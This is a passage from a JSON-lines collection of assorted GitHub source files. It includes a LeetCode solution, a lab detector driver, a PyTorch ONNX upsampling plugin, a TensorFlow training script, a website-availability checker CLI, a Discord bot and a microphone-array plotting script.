mfile.read_next_event()\n\n# close hdf5 file for writting\nf_hdf5.close()\n","repo_name":"thomaslindner/dt5743","sub_path":"midas2hdf5/midas2hdf5.py","file_name":"midas2hdf5.py","file_ext":"py","file_size_in_byte":4987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16556149482","text":"class Solution(object):\n def dailyTemperatures(self, temperatures):\n \"\"\"\n :type temperatures: List[int]\n :rtype: List[int]\n \"\"\"\n stack = []\n stack_idx= []\n cnt = []\n idx = 0\n \n for temp in temperatures :\n \n if stack and stack[-1] < temp :\n while stack and stack[-1] < temp : # stack에 숫자가 남아 있고, 다음에 올 숫자가 더 클 때\n stack.pop() # stack에 있는 숫자 pop\n take = stack_idx.pop() # pop한 숫자에 해당하는 idx도 pop\n cnt[take] = idx - take # 다음에 올 숫자의 idx와 pop한 idx의 차를 cnt에 할당\n \n stack.append(temp) # 현재 숫자 stack에 저장\n stack_idx.append(idx) # 현재 숫자의 인덱스 저장\n cnt.append(0) # 현재 숫자 카운팅 추가\n idx += 1\n \n return cnt # 1701ms 20mb","repo_name":"junhong625/MOCOCO","sub_path":"[3주차] 스택과 큐(Stack & Que)/[LeetCode 739번] Daily Temperatures/이정규_갓댐스택.py","file_name":"이정규_갓댐스택.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"36153501710","text":"from .Detector import Detector, LiveDetector, TriggeredDetector\ntry:\n import PyTango\nexcept ModuleNotFoundError:\n pass\nimport time\n\nPROP_MAP = {1: 'counter01', 2: 'counter02', 3: 'counter03'}\nCHANNEL_MAP = {'counter1': 'CNT1', 'counter2': 'CNT2', 'counter3': 'CNT3'}\n\n\nclass Ni6602CounterCard(Detector, LiveDetector, TriggeredDetector):\n \"\"\"\n Interface to the Ni6602 Tango device exposing counters.\n \"\"\"\n def __init__(self, name=None, device=None):\n self.dev_name = device\n Detector.__init__(self, name=name)\n LiveDetector.__init__(self)\n TriggeredDetector.__init__(self)\n\n def initialize(self):\n self.dev = PyTango.DeviceProxy(self.dev_name)\n self.dev.init()\n\n # handle some unwanted options that otherwise can cause errors\n self.dev.write_attribute(\"nexusFileGeneration\", 0)\n self.dev.write_attribute(\"CNT1MinPulseWidthEnable\", 0)\n self.dev.write_attribute(\"CNT2MinPulseWidthEnable\", 0)\n self.dev.write_attribute(\"CNT3MinPulseWidthEnable\", 0)\n\n def _toggle_PW_mode(self, pw):\n \"\"\"\n Switch between PW (pulse-width gated) and EVT (single count) mode.\n This is done through Tango properties so is a bit messy.\n\n pw = True means go to gated mode,\n pw = False means go to single count.\n \"\"\"\n if pw:\n oldstr, newstr = 'Mode:EVT', 'Mode:PW'\n else:\n oldstr, newstr = 'Mode:PW', 'Mode:EVT'\n for prop_name in PROP_MAP.values():\n channel_props = self.dev.get_property(prop_name)[prop_name]\n for i, val in enumerate(channel_props):\n if val == oldstr:\n channel_props[i] = newstr\n self.dev.put_property({prop_name: channel_props})\n break\n time.sleep(.1)\n self.dev.init()\n\n def prepare(self, acqtime, dataid, n_starts):\n\n if self.busy():\n raise Exception('%s is busy!' % self.name)\n\n if self.hw_trig:\n self._toggle_PW_mode(True)\n self.dev.acquisitionMode = 'BUFFERED'\n self.dev.totalNbPoint = self.hw_trig_n\n self.dev.bufferDepth = self.hw_trig_n\n else:\n self._toggle_PW_mode(False)\n self.dev.acquisitionMode = 'SCALAR'\n self.dev.integrationTime = acqtime\n\n def start_live(self, acqtime=1.0):\n # The NI card can do on-board live mode.\n self.dev.continuous = True\n self.dev.integrationTime = acqtime\n self.dev.Start()\n\n def stop_live(self):\n # The NI card can do on-board live mode.\n self.stop()\n self.dev.continuous = False\n\n def arm(self):\n if self.busy():\n raise Exception('%s is busy!' % self.name)\n if self.hw_trig:\n self.dev.Start()\n\n def start(self):\n if self.hw_trig:\n return\n if self.busy():\n raise Exception('%s is busy!' % self.name)\n self.dev.Start()\n\n def stop(self):\n self.dev.Stop()\n while not self.dev.State() == PyTango.DevState.STANDBY:\n time.sleep(.01)\n\n def busy(self):\n return not (self.dev.State() == PyTango.DevState.STANDBY)\n\n def read(self):\n res = {}\n for name, channel in CHANNEL_MAP.items():\n res[name] = self.dev.read_attribute(channel).value\n return res\n","repo_name":"maxiv-science/contrast","sub_path":"contrast/detectors/Ni6602.py","file_name":"Ni6602.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"25522374084","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Function\nimport torch.nn.functional as F\nfrom torch.onnx.symbolic_helper import parse_args\n\nclass MyUpsample(Function):\n # alpha_f means the `alpha` attribute with type `float`\n # legal types: f(float), i(int), s(string), t(Tensor)\n @staticmethod\n def symbolic(g, input, output_size, scale_factor, align_corners):\n return g.op(\"MyUpsample\", input,\n namespace_s = \"\",\n name_s = \"MyUpsample\", # plugin name\n version_s = \"v0\", # plugin version\n align_corners_i = align_corners,\n scale_factor_f = scale_factor,\n output_size_i = output_size\n )\n\n @staticmethod\n def forward(ctx, input, output_size, scale_factor, align_corners):\n if output_size == -1:\n output_size = None\n if scale_factor == -1:\n scale_factor = None\n return F.interpolate(input, size=output_size, scale_factor=scale_factor, mode='bilinear', align_corners=align_corners)\n\n @staticmethod\n def backward(ctx, grad_output):\n raise Exception(\"Not implemented!\")\n\nclass MyUpsampling(nn.Module):\n def __init__(self, output_size=None, scale_factor=None, align_corners=True):\n super().__init__()\n assert output_size is not None or scale_factor is not None\n self.output_size = output_size\n self.scale_factor = scale_factor\n if output_size is None:\n self.output_size = -1\n if scale_factor is None:\n self.scale_factor = -1\n\n self.align_corners = align_corners\n\n def set_scale(self, scale_factor):\n assert len(scale_factor) == 2\n self.scale_factor = scale_factor\n\n def set_size(self, size):\n assert len(size) == 2\n self.output_size = size\n\n def forward(self, input):\n return MyUpsample.apply(input, self.output_size, self.scale_factor, self.align_corners)\n\nif __name__ == \"__main__\":\n model = MyUpsampling(output_size=(64, 64), align_corners=True).cuda()\n x = torch.randn(1, 3, 32, 32).cuda()\n y1 = model(x)\n y2 = F.interpolate(x, size=(64, 64), mode='bilinear', align_corners=True)\n print(\"Diff:\", torch.abs(y1-y2).sum())\n print(\"Test on converting to onnx ...\")\n torch.onnx.export(model, x, \"toy.onnx\", verbose = True, opset_version=11)\n\n\n model = nn.Sequential(\n MyUpsampling(scale_factor=(20, 20), align_corners=True),\n nn.Conv2d(3, 3, 3, 1),\n nn.BatchNorm2d(3),\n nn.ReLU(),\n ).cuda()\n\n model = MyUpsampling(scale_factor=(2.5, 5.5), align_corners=True).cuda()\n x = torch.randn(1, 3, 224, 224, dtype=torch.float).clamp(0.)\n x = x.cuda()\n model.set_scale((5, 10)) # dynamic change\n y1 = model(x)\n y2 = F.interpolate(x, scale_factor=(20, 20), mode='bilinear', align_corners=True)\n print(\"Test on converting to onnx ...\")\n torch.onnx.export(model, x, \"toy.onnx\", verbose = True, opset_version=11, output_names=['output'])\n\n\n\n\n","repo_name":"JosephChenHub/CenterNet-TensorRT","sub_path":"plugins_py/my_upsampling.py","file_name":"my_upsampling.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"48"} +{"seq_id":"23254435231","text":"\"\"\"\nLearn about generator functions - Module for demonstratoin of the use of generator execution\n\n\"\"\"\n\n\n\ndef take(count, iterable):\n \"\"\"\n Take items from the fron of an iterable\n :param count: The max number of items to retrieve\n :param iterable: source series\n :yields: at most 'count' items for 'iterable'\n \"\"\"\n\n counter = 0\n for item in iterable:\n if counter == count:\n return\n counter += 1\n yield item\n\ndef run_take():\n \"\"\"\n test the take() funct\n \"\"\"\n items = [2, 4, 6, 8, 10]\n for item in take(11, items):\n print(item)\n\ndef distinct(iterable):\n \"\"\"\n return unique utems by eliminating dups\n :param iterable: the source series\n :yields: unique elements in order from 'iterable'\n \"\"\"\n seen = set()\n for item in iterable:\n if item in seen:\n continue # takes you back to the top of the loop block\n yield item\n seen.add(item)\n# print(item)\n# print(seen)\n\n\n # yield 1\n # yield 2\n # yield 3\n\n# def gen246():\n# print(\"About to yield 2\")\n# yield 2\n# print(\"About to yield 4\")\n# yield 4\n# print(\"About to yield 6\")\n# yield 6\n# print(\"About to return\")\n\n\ndef run_pipeline():\n items = [3, 6, 6, 2, 1, 1]\n for item in take(3, distinct(items)):\n print(item)\n\ndef run_distinct():\n items = [5, 7, 7, 6, 5, 5, 8, 12, 1234567]\n for item in distinct(items):\n print(item)\n\n\ndef main():\n \"\"\"\n test function\n :return: none\n \"\"\"\n# run_take()\n# run_distinct()\n run_pipeline()\n# print(\"Done\")\n\n\nif __name__ == '__main__':\n main()\n exit(0)","repo_name":"kwihrig/hafb-python1","sub_path":"gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15855867305","text":"import multiprocessing\nimport os\nfrom time import time\n\nimport numpy as np\nimport pandas\nimport tensorflow as tf\nimport pandas as pd\n\nimport sys\nsys.path.insert(0, '/cluster/home/lhsu/leonhard_training/')\n\nfrom module.ObsLstmAct_liyuan import ObsLstmAct\nfrom module.TrainObsLstmAct_liyuan import TrainerObsLstmAct\n\nmodel_obs_2_act = './model_checkpoint'\n# game_name = 'CylinderCur-v0'\n\nPOLICY_PARAM = {\n 'batch_size': 20,\n 'training_step_max': 1110000,\n 'horizon_len': 1,\n 'n_bootstraping': 60,\n 'lstm_sequence': 120,\n 'n_z': 2,\n}\n\nnum_workers = multiprocessing.cpu_count()\n\nif not os.path.exists(model_obs_2_act):\n os.makedirs(model_obs_2_act)\n\na_size = 8\ns_size = 70\nCSV_PATH1 = \"./cylinder4_2k_grid_s1.csv\"\nCSV_PATH2 = \"./cylinder4_2k_grid_s2.csv\"\nCSV_PATH3 = \"./rectangle1_2k_grid_s1.csv\"\nCSV_PATH4 = \"./rectangle1_2k_grid_s2.csv\"\nCSV_PATH5 = \"./wall1_2k_grid_s1.csv\"\nCSV_PATH6 = \"./wall1_2k_grid_s2.csv\"\n\n\n\n\n\n# Load csv data by tf.contrib\ntraining_set_1 = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=CSV_PATH1,\n target_dtype=np.int,\n features_dtype=np.float32)\n\ntraining_set_2 = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=CSV_PATH2,\n target_dtype=np.int,\n features_dtype=np.float32)\n\ntraining_set_3 = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=CSV_PATH3,\n target_dtype=np.int,\n features_dtype=np.float32)\n\ntraining_set_4 = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=CSV_PATH4,\n target_dtype=np.int,\n features_dtype=np.float32)\n\ntraining_set_5 = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=CSV_PATH5,\n target_dtype=np.int,\n features_dtype=np.float32)\n\ntraining_set_6 = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=CSV_PATH6,\n target_dtype=np.int,\n features_dtype=np.float32)\n\n\ntraining_set_1.data[np.isnan(training_set_1.data)] = 10\ntraining_set_2.data[np.isnan(training_set_2.data)] = 10\ntraining_set_3.data[np.isnan(training_set_3.data)] = 10\ntraining_set_4.data[np.isnan(training_set_4.data)] = 10\ntraining_set_5.data[np.isnan(training_set_5.data)] = 10\ntraining_set_6.data[np.isnan(training_set_6.data)] = 10\n\n\n\n\n# data_samples_num = int(training_set.data[-1, 0] + 1)\n\ndata_samples_num = 12000\ndata_num_per_csv = 2000\nprint('data_samples_num:', data_samples_num)\n\naction_samples_in = np.zeros((data_samples_num, POLICY_PARAM['lstm_sequence'], POLICY_PARAM['horizon_len']), dtype=int)\naction_samples_out = np.zeros((data_samples_num, POLICY_PARAM['lstm_sequence'], POLICY_PARAM['horizon_len']), dtype=int)\nobservation_samples = np.zeros((data_samples_num, POLICY_PARAM['lstm_sequence'], s_size + 2))\nsequence_len = np.zeros(data_samples_num)\n\n# counter = 0\n# for it_path in range(data_samples_num):\n# data_len = np.size(training_set.data[training_set.data[:, 0] == it_path], 0)\n# if data_len < 30:\n# print('it_path:%d data_len:%d counter:%d' % (it_path, data_len, counter))\n# counter += 1\n\nsample_count = 0\nfor sample in (training_set_1, training_set_2, training_set_3, training_set_4, training_set_5, training_set_6):\n sum_data_len = 0\n for it_path in range(data_num_per_csv):\n data_len = np.size(sample.data[sample.data[:, 0] == it_path], 0)\n sequence_len[it_path + (data_num_per_csv*sample_count)] = data_len\n if data_len > 70:\n print('it_path:{} data_len:{}'.format(it_path, data_len))\n # print('data_len:', data_len)\n # pass\n observation_samples[(it_path + (data_num_per_csv*sample_count)), 0:data_len, :] = sample.data[sample.data[:, 0] == it_path][:, 1:]\n # training_set_target = np.expand_dims(training_set.target, axis=1)\n action_samples_out[(it_path + (data_num_per_csv*sample_count)), 0:data_len, 0] = sample.target[sum_data_len:sum_data_len + data_len]\n\n sum_data_len += data_len\n sample_count += 1\n\n# for it_path in range(200):\n# for sequence in range(sequence_len[it_path].astype(np.int32)):\n# for action_horizon in range(5):\n# action_horizon += 1\n# try:\n# action_samples_out[it_path, sequence, action_horizon] = action_samples_out[it_path-1, sequence + action_horizon, 0]\n# except:\n# pass\n\n\n\ntrain_data = {'action_out': action_samples_out.astype(np.int32),\n 'observation_samples': observation_samples,\n 'sequence_len': sequence_len.astype(np.int32)}\n\n# print('sequence:', train_data['sequence_len'][10])\n# print(train_data['action_out'][10])\n#\n# print('observation_samples:', train_data['sequence_len'])\n\n\ntf.reset_default_graph()\n\noptimizer = tf.train.AdamOptimizer(learning_rate=1e-4)\npolicy_horizon_obs = ObsLstmAct(s_size+2, a_size, \"policy_pred_imitation_vae_obs\", POLICY_PARAM)\ntrainer_imitation = TrainerObsLstmAct(policy_horizon_obs, optimizer)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n trainer_imitation.train(sess, train_data, model_obs_2_act, POLICY_PARAM)\n\n\nprint ('finish')\n","repo_name":"LiyuanHsu/Master-Thesis","sub_path":"Grid_SL_cylinder4_rectangle1_wall1/train_combined_4k.py","file_name":"train_combined_4k.py","file_ext":"py","file_size_in_byte":5060,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"25504044428","text":"import requests\nimport os\nimport sys\nimport json\nfrom website_availability import WebsiteAvailability\nfrom check_hash_and_ports import CheckHashAndPorts\nfrom scrape_website import ScrapeWebsite\nfrom colorama import Fore\nfrom colorama import init\ninit(autoreset=True)\n\n\nclass View:\n\n def __init__(self, website_address) -> None:\n self.website_address = website_address\n\n def get_website(self) -> bool:\n # Returns True/False if the website address is valid.\n isValid = True\n if self.website_address[0:8] == \"https://\":\n self.website_address = self.website_address[8:]\n elif self.website_address[0:7] == \"http://\":\n self.website_address = self.website_address[7:]\n\n try:\n requests.get(f\"https://{self.website_address}\")\n return (isValid, Fore.GREEN + \"URL is valid\")\n except requests.ConnectionError:\n isValid = False\n return (isValid, Fore.RED + \"URL is not valid\")\n\n def show_options(self) -> str:\n return \"\"\"\\nWhat would you like to check on this website?\n1. Is your website up?\n2. What is the website's IP address?\n3. Current HTTP status code and availability\n4. Page performance using Google Page Speed Insights\n5. Domain expiry and registrar\n6. Server and content type\n7. SSL expiry date\n8. Is the domain registered?\n9. Compare MD5 hash sum\n10. Port scanning with Nmap\n11. Ping with Nmap\n12. Scrape website for metadata\n13. Perform health check\n14. Check bad ip score\n15. Exit program\\n\n\"\"\"\n\n\nclass ChooseOptions(CheckHashAndPorts, ScrapeWebsite, View):\n\n def __init__(self, website_address, individual_website_response) -> None:\n self.individual_website_response = individual_website_response\n self.website_address = website_address\n\n def choose_options(self):\n # Returns multiple data types depending on the option chosen.\n website = WebsiteAvailability(self.website_address)\n\n website_hash_test = CheckHashAndPorts(self.website_address)\n\n if self.individual_website_response == \"15\":\n print(\"*\"*32)\n print(Fore.GREEN + \"Exited the program successfully\")\n print(\"*\"*32)\n sys.exit()\n\n elif self.individual_website_response == \"2\":\n try:\n ip_address = website.get_ip_address()\n return Fore.GREEN + f\"The IP address of this website is {ip_address}\"\n except Exception:\n return \"Unable to get IP address\"\n\n elif self.individual_website_response == \"3\":\n try:\n http_status_code = website.get_http_status_code()\n return Fore.GREEN + f\"The HTTP status code is {http_status_code[0]}: {http_status_code[1]}\"\n except Exception:\n return \"Unable to get HTTP status code\"\n\n elif self.individual_website_response == \"4\":\n print(\"*\"*50)\n print(\"Page performance is the overall performance score.\")\n print(\"First Meaningful Paint measures when the primary content is visible.\")\n print(\"Speed Index shows how quickly the page is populated.\")\n print(\"Time to interactive is time it takes to become fully interactive.\")\n print(\"*\"*50)\n try: \n strategy = \"strategy_unspecified\"\n page_performance = website.get_pagespeed(strategy)\n return Fore.GREEN + f\"Your page performance is {page_performance[0]}, First Meaningful Paint: {page_performance[1]}, Speed Index: {page_performance[2]}, Time To Interactive: {page_performance[3]}\"\n except Exception:\n return \"Unable to get data\"\n\n elif self.individual_website_response == \"5\":\n try:\n whois_status = website.check_whois_status()\n return Fore.GREEN + f\"Expiration date: {whois_status[0]}, Registrar: {whois_status[1]}\"\n except Exception:\n return \"Unable to get Expiration date or registrar\"\n\n elif self.individual_website_response == \"6\":\n try:\n server_and_content_type = website.get_server_and_content_type()\n return Fore.GREEN + f\"Server: {server_and_content_type[0]}, Content type: {server_and_content_type[1]}\"\n except Exception:\n return \"Unable to get server and content type\"\n\n elif self.individual_website_response == \"7\":\n try:\n ssl_expiry = website.ssl_expiry_datetime()\n return Fore.GREEN + f\"Expiration date of SSL certificate: {ssl_expiry}\"\n except Exception:\n return \"Unable to get expiration dat of SSL\"\n\n elif self.individual_website_response == \"8\":\n try:\n domain_name_is_registered = website.is_registered()\n if domain_name_is_registered is True:\n return (Fore.GREEN + \"Domain name is registered\")\n elif domain_name_is_registered is False:\n return Fore.RED + \"Domain name is not registered\"\n except Exception:\n return \"Cannot find if domain is registered\"\n\n elif self.individual_website_response == \"9\":\n try:\n website_hash = website_hash_test.check_hash()\n return Fore.GREEN + f\"{website_hash}\"\n except Exception:\n return \"Cannot get MD5 sum\"\n\n elif self.individual_website_response == \"10\":\n try:\n port_scan = website_hash_test.nmap_port_scanning()\n return Fore.GREEN + f\"{port_scan}\"\n except Exception:\n return \"Unable to do port scan\"\n\n elif self.individual_website_response == \"11\" or self.individual_website_response == \"1\":\n try:\n nmap_ping = website_hash_test.nmap_ping_scanning()\n return Fore.GREEN + f\"The website is {nmap_ping}\"\n except Exception:\n return \"Unable to ping website\"\n\n elif self.individual_website_response == \"12\":\n try:\n website_scrape = ScrapeWebsite(self.website_address)\n json_metadata = website_scrape.return_page_metadata()\n all_data = website_scrape.all_metadata()\n print(Fore.GREEN + f\"Title: {all_data[-1]['title']}\")\n print(Fore.GREEN + f\"Sitename: {all_data[-1]['sitename']}\")\n print(Fore.GREEN + f\"Description: {all_data[-1]['description']}\")\n print(Fore.GREEN + f\"Image: {all_data[-1]['image']}\")\n print(Fore.GREEN + f\"Favicon: {all_data[-1]['favicon']}\")\n return Fore.GREEN + \"Saved metadata to metadata.json\"\n except Exception:\n return \"Unable to retrieve metadata\"\n\n elif self.individual_website_response == \"13\":\n try:\n print(\"Performing health check. Please be patient.\")\n website_health_check = website.health_check()\n url = \"https://api.sendgrid.com/v3/mail/send\"\n headers = {\"Authorization\": f\"{os.environ.get('SENDGRID_API')}\",\n \"Content-Type\": \"application/json\"}\n email_content = f\"Your page performance is: {website_health_check[0]}, HTTP Status: {website_health_check[1]}, Blacklisting score is: {website_health_check[2]}\"\n payload = {\"personalizations\":\n [{\"to\": [{\"email\": f\"{os.environ.get('TEST_EMAIL')}\"}]}],\n \"from\": {\"email\": f\"{os.environ.get('TEST_EMAIL')}\"},\n \"subject\": \"Health Check Status Report\",\n \"content\": [{\"type\": \"text/plain\", \"value\": f\"{email_content}\"}]}\n message = requests.post(url, data=json.dumps(payload), headers=headers)\n return Fore.GREEN + f\"Your page performance is: {website_health_check[0]}, HTTP Status: {website_health_check[1]}, Blacklisting score is: {website_health_check[2]}\"\n except Exception:\n return \"Unable to perform health check\"\n\n elif self.individual_website_response == \"14\":\n try:\n blacklist_score = website.check_blacklisting()\n return Fore.GREEN + f\"Your confidence score is {blacklist_score}\"\n except Exception:\n return \"Unable to get blacklist score\"\n\n else:\n return Fore.RED + \"That wasn't an option, try again.\"\n","repo_name":"PandelisT/Website_Availability_Application","sub_path":"src/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74742686544","text":"import os\nfrom dotenv import load_dotenv\nfrom discord.ext import commands\n\ncurrent_path = os.path.dirname(os.path.abspath(__file__))\nos.chdir(current_path)\nload_dotenv()\nif (os.path.exists(\"botlogs\") == False):\n os.mkdir(\"botlogs\")\ntoken = os.getenv('DISCORD_TOKEN')\n\n# bot\nbot = commands.Bot(command_prefix=';rebuild ')\nprint(bot.command_prefix)\nbot.load_extension(\"cogs.RebuildCommand\")\nbot.load_extension(\"cogs.CodeforcesCommand\")\nbot.load_extension(\"cogs.BotControlCommand\")\nbot.load_extension(\"cogs.CoronaCommand\")\n@bot.event\nasync def on_ready():\n print(f'{bot.user.name} has connected to Discord!')\n\n\n@bot.event\nasync def on_command_error(ctx, error):\n print(error)\n await ctx.send('Error: ' + str(error))\n\nbot.run(token)\n","repo_name":"leduythuccs/VOJ-rebuild-discord-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"48"} +{"seq_id":"24295405975","text":"def tpl_sort(tpl):\n for element in tpl:\n if isinstance(element, int):\n return print(tpl)\n else:\n return print(tuple(sorted(tpl)))\n\ny = 'y'\nwhile y == 'y':\n input_list = input('enter tuple of elements, using comma: ').split(',')\n tpl = tuple(input_list)\n tpl_sort(tpl)\n y = input('restart?(y/n): ')\nprint('goodbye')\n","repo_name":"llakeTuk/tasks_with_tuple","sub_path":"Tuple_1.py","file_name":"Tuple_1.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"40170758332","text":"from test_utils.helper_functions import verify_output\n\ndef subArrayExists(arr, N):\n # traverse through array\n # and store prefix sums\n n_sum = 0\n s = set()\n\n for i in range(N):\n n_sum += arr[i]\n\n if n_sum == 0 or n_sum in s:\n return i\n s.add(n_sum) \n\n return False\n\n\ndef good_array(input):\n N = len(input)\n operation = 0\n index = subArrayExists(input, N)\n while index:\n input.insert(index,100)\n index = subArrayExists(input, len(input))\n operation +=1\n \n return operation\n\n\nif __name__ == \"__main__\":\n verify_output(2, good_array([1,-1,1]))\n verify_output(0, good_array([-2,1,2,3]))\n verify_output(3, good_array([1,-1,1,2,-3]))\n","repo_name":"sameernegi17/InfosysPPQuestions","sub_path":"PySolutions/good_array.py","file_name":"good_array.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25092036105","text":"import matplotlib.patches as pat\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pyroomacoustics as pra\nimport seaborn as sns\nfrom matplotlib.collections import LineCollection\nfrom matplotlib.patheffects import withStroke\n\n\ndef calc_rotation_matrix(n_mic: int, deg: float):\n \"\"\"\n マイクが円状に等間隔に配置されたマイクロホンアレイの回転行列\n フーリエ変換の和の範囲を (-M/2 + 1, ..., M/2) ではなく,\n (0, ..., M-1) で計算したバージョン\n\n Parameters\n ----------\n n_mic: int\n マイク数\n deg: float\n 回転角度\n\n Returns\n -------\n U: ndarray (n_mic, n_mic)\n 回転行列\n \"\"\"\n x = np.linspace(0, n_mic - 1, n_mic)\n y = np.linspace(0, n_mic - 1, n_mic)\n i, j = np.meshgrid(x, y)\n delay = np.deg2rad(deg) * n_mic / (2 * np.pi)\n L = delay - j + i\n\n W = np.exp(2j * np.pi / n_mic)\n U = (W ** (-L * np.ceil((n_mic - 1) / 2))) * (W ** (L * (n_mic - 1) / 2)) * np.sinc(L) / np.sinc(L / n_mic)\n return U\n\n\nmm = 1 / 25.4\nfig_w = 120 * mm\naspect = 3.2\nbox_aspect = 1 / 1.6\nfig_h = fig_w / aspect\nsns.set_theme(\n style=\"white\",\n rc={\n \"axes.linewidth\": 1.0,\n \"axes.titlesize\": \"medium\",\n \"font.sans-serif\": \"Helvetica\",\n \"font.size\": 8,\n \"figure.figsize\": (fig_w, fig_h),\n \"lines.markersize\": 4,\n \"image.cmap\": \"coolwarm\",\n \"text.usetex\": True,\n },\n)\n\ncolor_ref = \"black\"\ncolor_rot = \"0.6\"\ncolor_sfi = \"yellow\"\n\n# microphone array\nn_mic = 6\nmic_r = 0.02\nmic_rot = 17.89\ndx = 2 * mic_r * np.sin(np.pi / n_mic)\n\n# pysical parameters\ncomplex_plane_wave_2d = lambda amp, omega, t, pos: amp * np.exp(1j * (omega * t - pos))\namp = 1\nc = 340\nfreq = c / (2 * dx) # Nyquist frequency in spatial domain\nfreq = 8000\nomega = 2 * np.pi * freq\nkx = 1\nky = kx * np.tan(np.deg2rad(mic_rot))\nk = omega / c * np.array([kx, ky])\n\nn_mesh = 2000\nxy_zoom = 1.5\nx = np.linspace(-mic_r * xy_zoom / box_aspect, mic_r * xy_zoom / box_aspect, n_mesh)\ny = np.linspace(-mic_r * xy_zoom, mic_r * xy_zoom, n_mesh)\nxx, yy = np.meshgrid(x, y)\npos = np.einsum(\"i,i...->...\", k, np.array([xx, yy]))\n\n# continuous microphone coodinates\nn_mesh_deg = 1000\ndeg = np.deg2rad(np.linspace(0, 360, n_mesh_deg))\nmic_x = mic_r * np.cos(deg)\nmic_y = mic_r * np.sin(deg)\nmic_pos_c = k @ np.array([mic_x, mic_y])\n\n# discrete microphone coodinates\nmic_deg_ref = np.deg2rad(np.linspace(0, 360, n_mic, endpoint=False))\nmic_deg_rot = np.deg2rad((np.linspace(0, 360, n_mic, endpoint=False) + mic_rot) % 360)\n\nmic_x_ref = mic_r * np.cos(mic_deg_ref)\nmic_x_rot = mic_r * np.cos(mic_deg_rot)\n\nmic_y_ref = mic_r * np.sin(mic_deg_ref)\nmic_y_rot = mic_r * np.sin(mic_deg_rot)\n\nmic_pos_ref = k @ np.array([mic_x_ref, mic_y_ref])\nmic_pos_rot = k @ np.array([mic_x_rot, mic_y_rot])\n\n\n# position of microphone array\nmic_locs1 = pra.beamforming.circular_2D_array([0, 0], M=n_mic, phi0=0, radius=mic_r)\nmic_locs2 = pra.beamforming.circular_2D_array([0, 0], M=n_mic, phi0=np.deg2rad(mic_rot), radius=mic_r)\nmic_locs_txt = pra.beamforming.circular_2D_array([0, 0], M=n_mic, phi0=0, radius=0.9 * xy_zoom * mic_r)\n\n\nn_freq = 20\nfor n, t in enumerate(np.linspace(0, 1 / freq, n_freq)):\n # plot\n fig, (ax1, ax2) = plt.subplots(1, 2)\n\n # Sound pressure in continuous field\n A = complex_plane_wave_2d(amp, omega, t, pos).real\n ax1.pcolormesh(x, y, A, vmin=-1, vmax=1, rasterized=True, shading=\"auto\", zorder=-3)\n\n # microphone array\n ax1.scatter(mic_locs1[0, :], mic_locs1[1, :], s=25, ec=\"white\", marker=\"o\", lw=0.5, color=color_ref)\n ax1.scatter(mic_locs2[0, :], mic_locs2[1, :], s=25, ec=\"white\", marker=\"o\", lw=0.5, color=color_rot)\n\n ax1.annotate(\n \"\",\n xytext=np.mean(mic_locs1, axis=1),\n xy=mic_locs2[:, 0],\n ha=\"center\",\n va=\"bottom\",\n arrowprops=dict(arrowstyle=\"->\", color=\"white\", lw=0.5),\n )\n ax1.annotate(\n \"\",\n xytext=np.mean(mic_locs1, axis=1),\n xy=mic_locs1[:, 0],\n ha=\"center\",\n va=\"bottom\",\n arrowprops=dict(arrowstyle=\"-\", ls=\"dashed\", color=\"white\", lw=0.5),\n zorder=-1,\n )\n ax1.text(\n s=r\"$\\theta$\",\n x=0.5 * mic_locs2[0, 0],\n y=0.5 * mic_locs2[1, 0],\n va=\"bottom\",\n ha=\"center\",\n fontsize=\"large\",\n path_effects=[withStroke(linewidth=1.0, foreground=\"white\")],\n )\n for i, p in enumerate(mic_locs_txt.T):\n ax1.text(\n s=fr\"$x_{i}$\",\n x=p[0],\n y=p[1],\n va=\"center\",\n ha=\"center\",\n fontsize=\"large\",\n path_effects=[withStroke(linewidth=1.0, foreground=\"white\")],\n )\n ax1.add_patch(pat.Circle(xy=(0, 0), radius=mic_r, ls=\"--\", lw=0.5, fill=False, zorder=-1))\n ax1.set_title(\"CMA in continuous sound field\")\n ax1.tick_params(\n axis=\"both\", which=\"both\", bottom=False, top=False, left=False, right=False, labelbottom=False, labelleft=False\n )\n ax1.set_aspect(\"equal\")\n ax1.set_box_aspect(box_aspect)\n\n # Sound pressure at microphone\n yc = complex_plane_wave_2d(amp, omega, t, mic_pos_c).real # sound pressure in continuous field\n y_ref = complex_plane_wave_2d(amp, omega, t, mic_pos_ref).real # sound pressure in continuous field\n y_rot = complex_plane_wave_2d(amp, omega, t, mic_pos_rot).real\n U = calc_rotation_matrix(n_mic, mic_rot)\n sc_sfi = (U @ y_rot).real\n\n points = np.array([deg, yc]).T.reshape(-1, 1, 2)\n segments = np.concatenate([points[:-1], points[1:]], axis=1)\n norm = plt.Normalize(-1, 1)\n lc = LineCollection(segments, array=yc, linewidth=1.0, norm=norm)\n 